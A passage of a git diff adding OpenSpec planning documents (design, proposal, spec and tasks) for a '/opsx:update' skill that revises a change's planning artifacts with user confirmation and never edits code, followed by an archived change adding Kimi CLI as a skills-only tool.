anything other than a change's planning artifacts. v1 is specific to change proposals; generalizing "update" to other graph types is deferred until such a graph exists (see Naming). + +## The skill, written by hand + +Working backwards from "what is the minimal instruction set," here is the skill body in sketch form. It is short on purpose — few tokens, few commands: + +``` +Revise a change's planning artifacts and keep them coherent. Never edit code. + +1. Resolve the change. + - If named, use it. Else infer from context, or auto-select the only active change; + if still unclear, run `openspec list --json` and ask the user to choose + (most-recently-modified first). Announce the selection and how to override. + +2. Get the artifacts. + - Run `openspec status --change "" --json`. + - Read `artifacts[]` (ids + status) and the `artifactPaths` map. These come from the + active schema — do not assume the artifact ids or paths. + - The files to edit are `artifactPaths..existingOutputPaths` (already glob-expanded + for artifacts like `specs/**/*.md`). Do not write to `resolvedOutputPath`: for a glob + artifact it is still the glob pattern, not a real file. + +3. Understand the request. + - If the user named a change ("the design now uses X"), that is the starting edit. + - If they only said "update" / "make this coherent," treat it as a coherence review. + +4. Read and reconcile. + - Read the artifact(s) the request touches and the other existing artifacts in the change. + - Apply the requested edit. Then check every other existing artifact against it — in any + direction (an edit to design may require revising the proposal, not only the tasks) — + and note what is now inconsistent, missing, or contradictory. + - Do not invent artifacts that don't exist yet; point the user to `/opsx:continue` to create them. + +5. Confirm and apply, one artifact at a time. + - Show each proposed revision and why. Write only after the user confirms. + - When a substantial rewrite is needed, `openspec instructions --change "" --json` + gives that artifact's rules/template to follow. + +6. Point to the next step (guidance only — never act on it). + - Artifacts still missing → suggest `/opsx:continue`. Change already implemented (tasks + checked off / applied) → the code may no longer match the revised plan; suggest + `/opsx:apply` to carry the delta. Fully done and implemented → suggest `/opsx:archive`. + +Guardrails: +- Planning artifacts only. If the plan now implies code changes, stop and point to `/opsx:apply`. +- Use artifact ids/paths from `openspec status`; never branch on literal proposal/specs/design/tasks names. +- If the request changes the change's *intent* rather than refining it, recommend `/opsx:new` + (the "Update vs. Start Fresh" heuristic, docs/opsx.md). +``` + +The `spec-driven` artifact names may appear once, as a worked *example* of how to apply step 4, exactly as `continue-change.ts` does today — but the control flow reads ids from the CLI, so the skill never branches on those names. A template test asserts there is no name-based branching (the anti-[#777](https://github.com/Fission-AI/OpenSpec/issues/777) guard). + +## Decisions + +### 1. Bidirectional coherence, not downstream propagation +The artifact graph has a build *order*, but "what needs updating after an edit" is not strictly downstream. If `design` changes, the `proposal` it elaborates may need to change too; if `tasks` reveal a missing capability, the `specs` may need a new requirement. The skill therefore reads the change's artifacts and reconciles them in whatever direction the edit demands. Build order is still useful as a default *reading* order and for presenting fixes, but it is not a constraint on which artifacts may be revised. This is why the design does not add a one-directional `getDownstream` / `--impact` primitive: it would encode the wrong model. + +### 2. Lean on the existing `status` command +`openspec status --change --json` already returns the artifact set, per-artifact status, and, in the `artifactPaths` map, the on-disk paths. The skill writes to `artifactPaths..existingOutputPaths` — the concrete files, glob-expanded — and deliberately not to `resolvedOutputPath`, which for a glob artifact is the pattern itself and not a file. That is everything the skill needs to know what exists and where it lives; no new CLI field is required. Picking the change reuses `openspec list --json`, exactly like `/opsx:continue`. No new CLI surface is introduced. + +### 3. Why not the heavier machinery (digests, ledger, reconcile, impact) +The first draft proposed SHA-256 content digests, a per-change baseline ledger in `.openspec.yaml`, an `openspec reconcile` write op, a derived drift signal, and a `status --impact` selector — so the CLI could tell the agent *which* artifacts are stale without the agent reading them. + +Rejected for v1, because the cost outweighs the need: +- The artifacts are a few markdown files. An agent that is going to *rewrite* them must read them anyway, so computing staleness for it saves little and adds a stateful subsystem (a ledger that `status` must not mutate, a separate write verb, scheme-versioning for forward-compat, cross-platform digest canonicalization, and the round-trip tests for all of it). +- A digest/ledger only earns its keep when something must judge staleness *without* reading content — e.g. unattended drift detection across many changes ([#247](https://github.com/Fission-AI/OpenSpec/issues/247) cross-change, [#846](https://github.com/Fission-AI/OpenSpec/issues/846) tracking files). Those are out of scope here. When one of them becomes concrete, this machinery can be designed against that real need. + +So `/opsx:update` v1 has the agent read the change's artifacts and judge coherence directly. If, after using it, a deterministic signal proves necessary, the smallest first step is to expose the schema's `requires` edges on `status --json` (a single additive field, no new command) — and only then consider digests. + +### 4. Naming: `/opsx:update` skill, not `openspec update` CLI +`openspec update [path]` already regenerates AI tool/skill files ([src/cli/index.ts](../../../src/cli/index.ts)). Overloading it would give one verb two unrelated meanings. The artifact-update action is therefore the **skill** `/opsx:update`, with no new `openspec` verb at all. Considered and rejected: `openspec regen --from ` ([#705](https://github.com/Fission-AI/OpenSpec/issues/705)) — a mutating CLI verb that rewrites artifacts duplicates the skill's job and bypasses user confirmation; the value is in the agent's semantic revision, not a CLI rewrite. + +Review feedback flagged that "update" alone is generic — could it apply to any graph? The resolution: the skill is scoped to **change proposals only**, and the specific name carries that scope. The skill is `openspec-update-change`, following the `openspec--change` naming of its siblings (`openspec-continue-change`, `openspec-new-change`, …). The command is `/opsx:update` because every verb in the `/opsx:` family operates on a change (`continue`, `apply`, `archive` — none says `-change`); a change-scoped meaning is what the namespace already promises. If a future graph type needs its own update action, it gets its own specific skill name then — nothing here blocks or breaks that. + +### 5. Guardrails (the part that makes it the requested command) +- **Planning artifacts only.** The skill's write targets are the artifact paths from `status`; if a revision implies code changes it stops and points to `/opsx:apply`. This directly answers [#1188](https://github.com/Fission-AI/OpenSpec/issues/1188)'s complaint that the manual workaround edits code. +- **Schema-driven.** Ids and paths come from `status`; no branching on literal `proposal`/`specs`/`design`/`tasks`. Works for custom schemas ([#777](https://github.com/Fission-AI/OpenSpec/issues/777), [#666](https://github.com/Fission-AI/OpenSpec/issues/666)). +- **Confirm each edit.** One artifact at a time, shown before writing. +- **Intent guard.** A revision that changes intent rather than refining it is redirected to `/opsx:new` (the "Update vs. Start Fresh" heuristic, [docs/opsx.md](../../../docs/opsx.md)). + +### 6. Next-step guidance, especially for already-implemented changes +A change can be revised after it was built — tasks checked off, `/opsx:apply` already run. The update itself behaves identically (planning artifacts only), but stopping silently would strand the user: the code and the revised plan now disagree. So the skill ends by reporting where the change stands (from the status JSON and the tasks checklist) and recommending the next command — `/opsx:continue` if artifacts are missing, `/opsx:apply` to carry a revised plan into code, `/opsx:archive` when everything is done. Guidance only: the skill never implements, mirroring the "All artifacts created! You can now implement this change with `/opsx:apply`" hand-off that `continue-change.ts` already uses. + +## Risks / Trade-offs + +- **No deterministic staleness signal.** With no digest/ledger, the skill relies on the agent reading the artifacts to spot incoherence. Trade-off accepted: an agent that rewrites prose must read it anyway, and a content-blind signal earns its cost only for use cases this change excludes (Decision 3). +- **Coherence quality depends on the agent.** Mitigated by confirming every edit and by keeping scope to one change's artifacts (a small, readable set). +- **Skill drifts back to hardcoding artifact names.** Mitigated by a template test asserting the control flow reads ids from `status` JSON and contains no name-based branching. + +## Migration Plan + +Additive and backward-compatible. One new skill template, installed with the default `core` profile (maintainer call on the PR: update is part of the default happy path, not expanded-only); one docs row. No existing command changes behavior; no schema or graph changes. The superseded stub (`add-artifact-regeneration-support`) is removed or folded in the same PR to avoid two competing proposals in the tree. diff --git a/openspec/changes/add-update-workflow/proposal.md b/openspec/changes/add-update-workflow/proposal.md new file mode 100644 index 0000000000..4bfc506bf8 --- /dev/null +++ b/openspec/changes/add-update-workflow/proposal.md @@ -0,0 +1,66 @@ +## Why + +OPSX names **four** first-class actions — "create, implement, **update**, archive — do any of them anytime" ([docs/opsx.md:52](../../../docs/opsx.md)). Three ship as commands. **`update` does not exist.** The only mechanism offered is *"edit the files manually"* — and when you edit one artifact, nothing helps you keep the rest of the change coherent. Worse, the manual workaround lets the agent edit **code** when the user only wanted to revise the **plan** ([#1188](https://github.com/Fission-AI/OpenSpec/issues/1188)). + +This is the most-requested missing capability in the tracker. It is one gap with several faces, and the fix is small: a thin `/opsx:update` skill that revises a change's planning artifacts and keeps them coherent with each other, built on the **existing** `openspec status` / `openspec list` commands. No new graph engine, no digests, no ledger — just an agent that reads the change's artifacts and updates what needs updating, with the user's confirmation. + +## What Changes + +The whole feature is a single new workflow skill, `/opsx:update`. The skill is deliberately change-scoped — `openspec-update-change`, following the `openspec--change` naming of its siblings — and applies to change proposals only, not arbitrary artifact graphs (see design, Naming). Written by hand, its instruction set is short: + +1. **Understand the request** — what the user wants to revise (or, with no specific ask, "review this change for coherence"). +2. **Get the artifacts** — run `openspec status --change --json`. Its `artifactPaths` map reports, per artifact, which files exist and where: `existingOutputPaths` is the concrete file list to edit — already expanded for glob artifacts like `specs/**/*.md`. (`openspec list --json` to pick the change when it isn't given.) +3. **Read and revise** — read the relevant artifacts, make the requested edit, then check the change's **other** artifacts against it and propose any follow-on edits needed to keep the plan coherent. +4. **Confirm and apply** — show each proposed revision, write only after the user confirms. +5. **Point to the next step** — report where the change now stands and recommend what comes next: artifacts still missing → `/opsx:continue`; plan revised after the change was already implemented → `/opsx:apply` to carry the delta into code; everything done and implemented → `/opsx:archive`. Guidance only — the skill never acts on it. + +Two guardrails make it the command the cluster asked for: + +- **Planning artifacts only, never code.** If a revised plan implies code changes, it hands off to `/opsx:apply` ([#1188](https://github.com/Fission-AI/OpenSpec/issues/1188)). +- **Schema-driven, not name-driven.** Artifact ids and paths come from `openspec status`, so the skill works for custom schemas, not just the default `proposal → specs → design → tasks` ([#777](https://github.com/Fission-AI/OpenSpec/issues/777), [#666](https://github.com/Fission-AI/OpenSpec/issues/666)). + +**Coherence is bidirectional.** Earlier framing treated update as strictly "downstream" propagation. That is wrong: in `proposal → specs → design → tasks`, editing `design` can require revising `proposal` too. The skill reads the change's artifacts and reconciles them in whatever direction the edit demands, rather than assuming a fixed flow. + +### Deliberately not built (yet) + +Per the steer to introduce as little code as possible, and only when there is a defined need, this change does **not** add: a reverse-dependency graph API, content digests / staleness signals, a `.openspec.yaml` baseline ledger, an `openspec reconcile` write op, a drift report, or a `status --impact` selector. The agent reads the change's artifacts directly — a handful of markdown files — which is enough to judge coherence. If a future, concrete need emerges (e.g. unattended drift detection across many changes), exposing the schema's `requires` edges on `openspec status --json` is a one-field additive follow-up. It is out of scope here. + +## Capabilities + +### New Capabilities + +- `opsx-update-skill`: A new `/opsx:update` workflow skill that revises a change's existing planning artifacts and keeps them coherent with one another. It reads the artifact set and paths from `openspec status`, reviews related artifacts in any direction (not only downstream), edits planning artifacts only and never code, and confirms each edit with the user. It ends with next-step guidance — recommending `/opsx:continue`, `/opsx:apply`, or `/opsx:archive` based on the change's state — without acting on it. + +## Impact + +- `src/core/templates/workflows/update-change.ts` (**new**) — the `openspec-update-change` skill template and the `/opsx:update` command template, mirroring the structure of `continue-change.ts`. Reads artifact ids and paths from `openspec status --json`; embeds no artifact-name patterns. +- Skill/command registration + [src/core/profiles.ts](../../../src/core/profiles.ts) — add `update` to `ALL_WORKFLOWS` **and to the default `core` profile** (`propose`, `explore`, `apply`, `sync`, `archive`), so `/opsx:update` is part of the default install rather than expanded-only (maintainer call on the PR). +- `docs/opsx.md` — add a `/opsx:update` row to the command table and a short "Updating a change" usage note. +- `openspec/changes/add-artifact-regeneration-support/` — the in-repo proposal-only stub for this gap is superseded; retire it or fold its notes into design. +- No changes to `src/core/artifact-graph/*`, `src/commands/workflow/status.ts`, or `ChangeMetadataSchema`. The skill uses `openspec status` / `openspec list` as they exist today. + +## Issues addressed + +Verified against `Fission-AI/OpenSpec` on 2026-06-30. + +Closes (the missing-update-action family): + +- [#1188](https://github.com/Fission-AI/OpenSpec/issues/1188) — "Add a command to update proposal, design and task" (and stop it editing code). Delivered as `/opsx:update`, planning-artifacts-only. +- [#705](https://github.com/Fission-AI/OpenSpec/issues/705) — "Rebuild downstream artifacts from a modified upstream." Delivered as the skill's read-and-reconcile pass over the change's artifacts. +- [#673](https://github.com/Fission-AI/OpenSpec/issues/673) — "clarify": update existing artifacts without auto-advancing the build frontier. `/opsx:update` revises in place and never creates the next artifact. +- [#247](https://github.com/Fission-AI/OpenSpec/issues/247) — "review and update all change proposals." Delivered as the within-a-change coherence review; cross-change audit is a separate, later proposal. + +Answers (questions whose honest answer today is "no command exists"): + +- [#694](https://github.com/Fission-AI/OpenSpec/issues/694), [#684](https://github.com/Fission-AI/OpenSpec/issues/684), [#618](https://github.com/Fission-AI/OpenSpec/issues/618) — "which command regenerates a document after the flow progressed / after apply?" → `/opsx:update`. +- Discussion [#1206](https://github.com/Fission-AI/OpenSpec/discussions/1206) — the official answer becomes `/opsx:update`. + +Supersedes: + +- `openspec/changes/add-artifact-regeneration-support` (in-repo, proposal-only stub) — same problem, replaced by this skill. Its hardcoded-filename dependency tracking and metadata-file staleness mechanism are dropped in favor of letting the agent read the artifacts. + +Delineated from adjacent commands (distinct surfaces — coordinate, don't collide): + +- [#702](https://github.com/Fission-AI/OpenSpec/pull/702) `/opsx:clarify` — resolves ambiguity *within one artifact* via Q&A; a complementary upstream step. `/opsx:update` then reconciles the change's artifacts with each other. +- [#1251](https://github.com/Fission-AI/OpenSpec/pull/1251) `/opsx:review`, [#880](https://github.com/Fission-AI/OpenSpec/issues/880) — review the *implementation (code)* against the plan. `/opsx:update` is the mirror image: it keeps the *plan* coherent and never touches code. +- [#783](https://github.com/Fission-AI/OpenSpec/issues/783) — cross-artifact quality review. The skill's coherence pass is the lightweight form of this; a deterministic `validate`-side check is a separate proposal. diff --git a/openspec/changes/add-update-workflow/specs/opsx-update-skill/spec.md b/openspec/changes/add-update-workflow/specs/opsx-update-skill/spec.md new file mode 100644 index 0000000000..6dc4a4b704 --- /dev/null +++ b/openspec/changes/add-update-workflow/specs/opsx-update-skill/spec.md @@ -0,0 +1,139 @@ +## ADDED Requirements + +### Requirement: Update Workflow Command + +The system SHALL provide a `/opsx:update` workflow skill that revises a change's existing planning artifacts in place. It SHALL NOT advance the build frontier (it does not create a not-yet-started artifact) and SHALL edit planning artifacts only, never implementation code. + +#### Scenario: Select the change to update + +- **WHEN** the user invokes `/opsx:update` without a change name +- **THEN** the skill infers the change from conversation context if possible, or auto-selects the change when only one active change exists +- **AND** if it is still ambiguous, it lists available changes (most-recently-modified first) via `openspec list --json` and asks the user to choose +- **AND** it announces which change was selected and how to override + +#### Scenario: Revise without advancing the frontier + +- **WHEN** the user asks `/opsx:update` to revise an existing artifact +- **THEN** the skill updates that artifact and reconciles the change's other existing artifacts with it +- **AND** it does NOT create any artifact that does not yet exist (that remains the job of `/opsx:continue`/`/opsx:propose`) + +#### Scenario: Missing artifacts are deferred to continue + +- **WHEN** keeping the change coherent would require an artifact that has not been created yet +- **THEN** the skill revises only the artifacts that currently exist +- **AND** it notes the not-yet-created artifacts and points the user to `/opsx:continue` to create them + +#### Scenario: Update stays within the plan + +- **WHEN** revising artifacts would imply changes to implementation code +- **THEN** the skill updates the planning artifacts only +- **AND** it directs the user to `/opsx:apply` to carry the revised plan into code, rather than editing code itself + +### Requirement: Schema-Driven Artifact Resolution + +The `/opsx:update` skill SHALL learn which artifacts exist and where they live by reading the change's status from the CLI, and SHALL NOT rely on hardcoded artifact names or assumed path separators. This makes the skill correct for custom schemas and on every platform, not only the default `spec-driven` schema. + +#### Scenario: Reads the artifact set from status + +- **WHEN** the skill needs to know which artifacts a change has and where they are +- **THEN** it runs `openspec status --change --json` and uses the reported artifact ids, statuses, and the `artifactPaths` map (`existingOutputPaths` for the files to edit) +- **AND** it does not assume the artifact ids or output paths + +#### Scenario: Does not branch on hardcoded artifact names + +- **WHEN** the skill decides which artifacts to read and revise +- **THEN** its control flow uses the ids reported by the CLI +- **AND** it does not branch on literal `proposal`/`specs`/`design`/`tasks` names + +#### Scenario: Works for a custom schema + +- **WHEN** the active change uses a custom schema whose artifact ids are not `proposal`/`specs`/`design`/`tasks` +- **THEN** the skill uses the artifact ids and paths reported by the CLI +- **AND** it works without any change to the skill + +#### Scenario: Resolve artifact paths cross-platform + +- **WHEN** the skill reads or writes an artifact on macOS, Linux, or Windows +- **THEN** it uses the `existingOutputPaths` provided by the CLI status output +- **AND** it does not assume forward-slash separators + +#### Scenario: Edit the concrete files of a glob artifact + +- **WHEN** an artifact's declared output path is a glob (for example `specs/**/*.md`) +- **THEN** the skill edits the concrete files reported in that artifact's `existingOutputPaths` +- **AND** it does not write to `resolvedOutputPath`, which for a glob artifact remains the glob pattern rather than a real file + +#### Scenario: A new file under a glob artifact is deferred to continue + +- **WHEN** keeping the change coherent would require a new file under a glob artifact that does not exist yet (for example a spec for a not-yet-captured capability) +- **THEN** the skill revises only the files already present in `existingOutputPaths` +- **AND** it points the user to `/opsx:continue`/`/opsx:propose` to create the new file rather than inventing a path from the glob + +### Requirement: Bidirectional Coherence Review + +The `/opsx:update` skill SHALL keep a change's existing planning artifacts coherent with one another after a revision, reviewing affected artifacts in any direction rather than assuming a fixed downstream flow. + +#### Scenario: Reconcile related artifacts after an edit + +- **WHEN** the user revises one artifact +- **THEN** the skill reviews the change's other existing artifacts against the revision +- **AND** it proposes follow-on edits to any artifact that is now inconsistent, whether that artifact is upstream or downstream of the edited one + +#### Scenario: Upstream artifact may be revised + +- **WHEN** an edit to a later artifact (for example design) contradicts an earlier one (for example the proposal) +- **THEN** the skill may propose revising the earlier artifact to restore coherence +- **AND** it does not treat propagation as downstream-only + +#### Scenario: Coherence review with no specific edit + +- **WHEN** the user invokes `/opsx:update` without a specific revision in mind ("make this change coherent") +- **THEN** the skill reads the change's existing artifacts and reviews them against each other for contradictions, gaps, and duplication +- **AND** it presents any findings for the user to confirm before editing + +#### Scenario: Coherent change yields no changes + +- **WHEN** the skill finds the change's artifacts already coherent +- **THEN** it reports the change as coherent and makes no edits + +### Requirement: Next-Step Guidance + +After applying confirmed revisions (or finding none needed), the `/opsx:update` skill SHALL report where the change stands and recommend the next command, without acting on the recommendation itself. + +#### Scenario: Updating an already-implemented change + +- **WHEN** the user updates a change whose implementation already happened (for example tasks are checked off or `/opsx:apply` was already run) +- **THEN** the skill still revises planning artifacts only +- **AND** it notes that the implementation may no longer match the revised plan and recommends `/opsx:apply` to carry the delta into code +- **AND** it does not implement anything itself + +#### Scenario: Next step when artifacts are incomplete + +- **WHEN** the update finishes and the change still has not-yet-created artifacts +- **THEN** the skill recommends `/opsx:continue` to create them + +#### Scenario: Next step when the change is fully done + +- **WHEN** the update finishes and the change's artifacts are complete and already implemented +- **THEN** the skill recommends `/opsx:archive` + +### Requirement: User-Confirmed Incremental Application + +The `/opsx:update` skill SHALL propose each artifact revision and apply it only after user confirmation. + +#### Scenario: Confirm before writing + +- **WHEN** the skill has a proposed revision for an artifact +- **THEN** it shows the user what it intends to change and why before writing +- **AND** it writes only after the user confirms + +#### Scenario: Rejected revision is not written + +- **WHEN** the user rejects a proposed revision for an artifact +- **THEN** the skill does not write that revision +- **AND** the artifact is left unchanged + +#### Scenario: Intent change is redirected to a new change + +- **WHEN** the requested revision changes the intent of the change rather than refining it (per the "Update vs. Start Fresh" heuristic) +- **THEN** the skill recommends starting a new change (`/opsx:new`) instead of mutating the existing proposal into different work diff --git a/openspec/changes/add-update-workflow/tasks.md b/openspec/changes/add-update-workflow/tasks.md new file mode 100644 index 0000000000..c56308f0c7 --- /dev/null +++ b/openspec/changes/add-update-workflow/tasks.md @@ -0,0 +1,30 @@ +# Tasks: `/opsx:update` — a thin update skill + +> The whole feature is one new skill template over the existing `openspec status` / `openspec list` commands. No changes to the graph engine, the `status` command, or the metadata schema. + +## 1. The `/opsx:update` skill + +- [x] 1.1 Create `src/core/templates/workflows/update-change.ts` with `getUpdateChangeSkillTemplate()` (skill) and `getOpsxUpdateCommandTemplate()` (command), mirroring `continue-change.ts`. The skill name is `openspec-update-change` — change-scoped, per the `openspec--change` convention (see design, Naming). +- [x] 1.2 Instruction body (see design "The skill, written by hand"): resolve the change (infer / `openspec list --json` / ask) → `openspec status --change --json` → read the relevant artifacts → apply the requested edit → reconcile the change's other existing artifacts in any direction → confirm and apply one artifact at a time → end with next-step guidance (`/opsx:continue` / `/opsx:apply` / `/opsx:archive` based on the change's state; see design Decision 6), never acting on it. Read artifact ids from the status JSON only, and write to `artifactPaths..existingOutputPaths` (never to a glob `resolvedOutputPath`). +- [x] 1.3 Encode the guardrails: (a) planning artifacts only — never edit code, hand off to `/opsx:apply`; (b) schema-driven — no branching on literal `proposal`/`specs`/`design`/`tasks`; ids/paths come from `openspec status`; (c) revise only existing files (`existingOutputPaths`) — defer not-yet-created artifacts, and new files under a glob artifact, to `/opsx:continue`; (d) intent change → recommend `/opsx:new` (the "Update vs. Start Fresh" heuristic in `docs/opsx.md`). +- [x] 1.4 Register the skill/command and add `update` to `ALL_WORKFLOWS` **and the default `core` profile** in `src/core/profiles.ts` (maintainer call: default install, not expanded-only). + +## 2. Docs & supersede the stub + +- [x] 2.1 Add a `/opsx:update` row to the command table in `docs/opsx.md`, plus a short "Updating a change" usage note. +- [x] 2.2 Remove (or fold) `openspec/changes/add-artifact-regeneration-support/` so the tree has a single update proposal. +- [x] 2.3 Update any generated-skill manifests/fixtures that enumerate workflow skills so `openspec-update-change` is included. + +## 3. Tests + +- [x] 3.1 Template generation snapshot for the skill and command templates. +- [x] 3.2 Assert the template's control flow contains NO hardcoded artifact-name branching (the anti-#777 guard): artifact ids must be read from `openspec status` JSON. +- [x] 3.3 Assert the template instructs planning-artifacts-only with a hand-off to `/opsx:apply` for code, and never advances the build frontier. +- [x] 3.4 Assert the template instructs writing to `existingOutputPaths` (the glob-expanded concrete files) and not to a glob `resolvedOutputPath`. +- [x] 3.5 Assert the template ends with next-step guidance (`/opsx:continue`/`/opsx:apply`/`/opsx:archive`) and instructs the agent never to act on it. +- [x] 3.6 Assert `update` is included in the `core` profile's workflows (profiles test). + +## 4. End-to-end verification + +- [x] 4.1 `openspec validate add-update-workflow --strict` passes; `openspec status --change add-update-workflow` shows all artifacts complete. +- [x] 4.2 Manual walk-through: on a `spec-driven` change, edit `design`, run `/opsx:update`, confirm it proposes coherence edits to other existing artifacts (including upstream where warranted) and never touches code. diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/.openspec.yaml b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/.openspec.yaml new file mode 100644 index 0000000000..8b394c6609 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-04-23 diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/README.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/README.md new file mode 100644 index 0000000000..335f01ef74 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/README.md @@ -0,0 +1,3 @@ +# add-kimi-cli-skills-only-support + +Add Kimi CLI as a supported skills-only tool without a command adapter diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/design.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/design.md new file mode 100644 index 0000000000..f8827390e1 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/design.md @@ -0,0 +1,85 @@ +## Context + +Kimi CLI is not another Claude/Codex-style adapter target. Its extension model is built around discovered skills, not external command files: + +- skills are discovered from `.kimi/skills/` +- skills are exposed as `/skill:` +- no stable `.kimi/commands/` or prompt-file loading mechanism was found in the Kimi CLI codebase + +OpenSpec's existing architecture can already represent that shape: + +- `AI_TOOLS` can advertise a `skillsDir` +- `init` can install skills for any selected tool with `skillsDir` +- when command generation is attempted for a tool without an adapter, OpenSpec already records `commandsSkipped` + +## Goals + +- Add Kimi CLI using the same narrow `skills-only` pattern already used by Trae +- Keep the implementation small: metadata, docs, and a focused regression test +- Make the spec text match the current code path for adapterless tools + +## Non-Goals + +- designing a Kimi-specific command adapter without upstream support +- changing tool capability modeling across the whole generation pipeline +- reworking `delivery=commands` behavior for all adapterless tools + +## Decisions + +### 1. Represent Kimi CLI as an adapterless tool with `.kimi` + +Add a new `AI_TOOLS` entry: + +```ts +{ name: 'Kimi CLI', value: 'kimi', available: true, successLabel: 'Kimi CLI', skillsDir: '.kimi' } +``` + +This matches Kimi CLI's project-local skills root and lets existing init/update detection paths treat it as a supported tool. + +### 2. Do not add a Kimi command adapter + +No `src/core/command-generation/adapters/kimi.ts` file will be added, and the command adapter registry will remain unchanged. + +Rationale: + +- Kimi CLI exposes skills dynamically as `/skill:` +- the previous upstream PR stalled specifically because no legitimate adapter target was available +- adding a fake `.kimi/commands/...` path would create behavior OpenSpec cannot justify against upstream Kimi CLI behavior + +### 3. Document Kimi by its real invocation surface + +Kimi documentation in OpenSpec must use Kimi's actual skill invocation form: + +- supported-tools: no generated command files, use `/skill:openspec-*` +- commands doc: examples such as `/skill:openspec-propose` + +The docs must not claim generated `opsx-*` files or `/openspec-*` direct invocations for Kimi. + +### 4. Keep the change compatible with existing Trae-style behavior + +This change intentionally follows the current adapterless-tool behavior already present in the codebase: + +- skills are created whenever delivery includes skills +- command generation is skipped when no adapter exists +- init output reports `Commands skipped for: kimi (no adapter)` + +This keeps the Kimi change small and avoids overlapping implementation work already captured in `add-tool-command-surface-capabilities`. + +## Test Strategy + +Add one focused regression test in `test/core/init.test.ts`: + +- configure `delivery=both` +- run init with `--tools kimi` +- verify Kimi skills are created under `.kimi/skills/...` +- verify init reports the skipped command generation path for `kimi` + +That test is enough for this narrow change because: + +- adapterless update behavior already has generic coverage +- CLI tool-id rendering is derived from `AI_TOOLS` +- no command adapter or path formatting logic is being introduced + +## Risks / Trade-offs + +The main trade-off is scope: Kimi will inherit the current adapterless-tool behavior, including the broader limitation that `delivery=commands` is not yet capability-aware for skills-invocable tools. That is acceptable for this change because it matches the existing Trae/ForgeCode model and keeps the implementation aligned with verified Kimi CLI behavior. diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/proposal.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/proposal.md new file mode 100644 index 0000000000..f2f447ee3c --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/proposal.md @@ -0,0 +1,38 @@ +## Why + +OpenSpec already has user demand for Kimi CLI support, but the previous upstream attempt stalled because it assumed Kimi needed a command adapter. Local review of the Kimi CLI codebase shows a different integration surface: Kimi discovers `SKILL.md` files from `.kimi/skills/` and exposes them through `/skill:`, but it does not provide a stable, file-based custom command directory like Claude Code or Codex. + +OpenSpec already supports tools that install skills without a command adapter. Trae and ForgeCode are the existing examples. Kimi should follow the same pattern instead of introducing undocumented `.kimi/commands/...` behavior. + +## What Changes + +- Add Kimi CLI as a supported tool in `AI_TOOLS` with `skillsDir: '.kimi'` +- Document Kimi CLI as a skills-only integration in supported tools and command usage docs +- Align change specs so `cli-init` explicitly allows selected tools with `skillsDir` but no registered command adapter + +## Capabilities + +### New Capabilities + +_None._ + +### Modified Capabilities + +- `ai-tool-paths`: define the `.kimi` skills root for Kimi CLI +- `cli-init`: clarify that adapterless tools remain valid selections and skip command-file generation with an informational message + +## Impact + +- `src/core/config.ts` - add Kimi CLI tool metadata +- `docs/supported-tools.md` - add Kimi CLI row and tool id +- `docs/commands.md` - document `/skill:openspec-*` usage for Kimi CLI +- `docs/cli.md` - include `kimi` in the supported `--tools` list +- `test/core/init.test.ts` - cover Kimi CLI as an adapterless tool during init + +## Non-Goals + +- Adding `src/core/command-generation/adapters/kimi.ts` +- Defining a `.kimi/commands/...` output path +- Changing the broader delivery model for adapterless tools under `delivery=commands` + +That broader capability-aware delivery work is already being explored separately in `add-tool-command-surface-capabilities`. This change stays narrow and follows the existing Trae/ForgeCode pattern. diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/ai-tool-paths/spec.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/ai-tool-paths/spec.md new file mode 100644 index 0000000000..e981874b47 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/ai-tool-paths/spec.md @@ -0,0 +1,12 @@ +# ai-tool-paths Delta Specification + +## MODIFIED Requirements + +### Requirement: Path configuration for supported tools + +The `AI_TOOLS` array SHALL include `skillsDir` for tools that support the Agent Skills specification. + +#### Scenario: Kimi CLI paths defined + +- **WHEN** looking up the `kimi` tool +- **THEN** `skillsDir` SHALL be `.kimi` diff --git a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/cli-init/spec.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/cli-init/spec.md new file mode 100644 index 0000000000..193ff116a6 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/specs/cli-init/spec.md @@ -0,0 +1,37 @@ +# cli-init Delta Specification + +## MODIFIED Requirements + +### Requirement: Slash Command Generation + +The command SHALL generate opsx slash commands only for selected tools that have a registered command adapter, while keeping adapterless tools valid for skill generation. + +#### Scenario: Generating slash commands for a tool with a registered adapter + +- **WHEN** a tool with a registered command adapter is selected during initialization +- **THEN** create 9 slash command files using the tool's command adapter: + - `/opsx:explore` + - `/opsx:new` + - `/opsx:continue` + - `/opsx:apply` + - `/opsx:ff` + - `/opsx:verify` + - `/opsx:sync` + - `/opsx:archive` + - `/opsx:bulk-archive` +- **AND** use tool-specific path conventions (e.g., `.claude/commands/opsx/` for Claude) +- **AND** include tool-specific frontmatter format + +#### Scenario: Selected tool has no command adapter + +- **GIVEN** a selected tool has `skillsDir` configured but no registered command adapter +- **WHEN** initialization includes command generation +- **THEN** skill generation for that tool SHALL still remain valid +- **AND** command-file generation SHALL be skipped for that tool +- **AND** the command output SHALL include `Commands skipped for: (no adapter)` + +#### Scenario: Kimi CLI skips command-file generation + +- **WHEN** the user selects Kimi CLI during initialization +- **THEN** OpenSpec SHALL treat it as a supported tool with `skillsDir: '.kimi'` +- **AND** command-file generation SHALL be skipped because no Kimi adapter is registered diff --git 